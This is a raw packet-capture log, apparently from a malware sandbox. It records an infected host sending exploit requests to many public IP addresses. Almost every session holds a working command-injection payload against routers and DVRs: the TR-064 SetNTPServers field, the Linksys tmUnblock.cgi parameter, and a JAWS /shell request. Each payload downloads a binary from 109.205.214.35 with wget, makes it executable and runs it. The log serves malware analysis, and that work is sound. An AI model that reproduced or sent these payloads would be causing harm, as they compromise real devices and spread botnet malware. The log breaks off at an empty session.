Mar 21, 2024 05:21:59.326819897 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.14	38026	172.65.212.28	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.617074966 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.14	34140	54.243.183.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:58.623476028 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.14	44888	46.6.13.163	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.589857101 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.14	50778	109.156.181.186	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.590430975 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:21:59.798265934 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.14	34116	54.243.183.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.627350092 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:21:59.985971928 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:00.318820000 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.14	40238	172.87.194.6	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.698708057 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:03.711106062 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:09.857331991 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:21.889884949 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:46.204899073 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.14	57630	99.236.26.10	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.726551056 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.14	55588	47.201.70.99	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.729293108 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.14	41218	47.148.239.36	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.759630919 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.14	50806	109.156.181.186	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.759712934 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:21:59.926754951 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.14	57642	99.236.26.10	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.857506037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.14	55600	47.201.70.99	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.869360924 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:22:00.609548092 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.14	41230	47.148.239.36	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:59.924624920 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.14	51944	192.81.212.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.001663923 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:00.113117933 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Thu, 21 Mar 2024 04:22:00 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.14	52022	146.148.249.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:00.170640945 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.14	36882	104.27.196.18	8080

Timestamp	Bytes transferred	Direction	Data
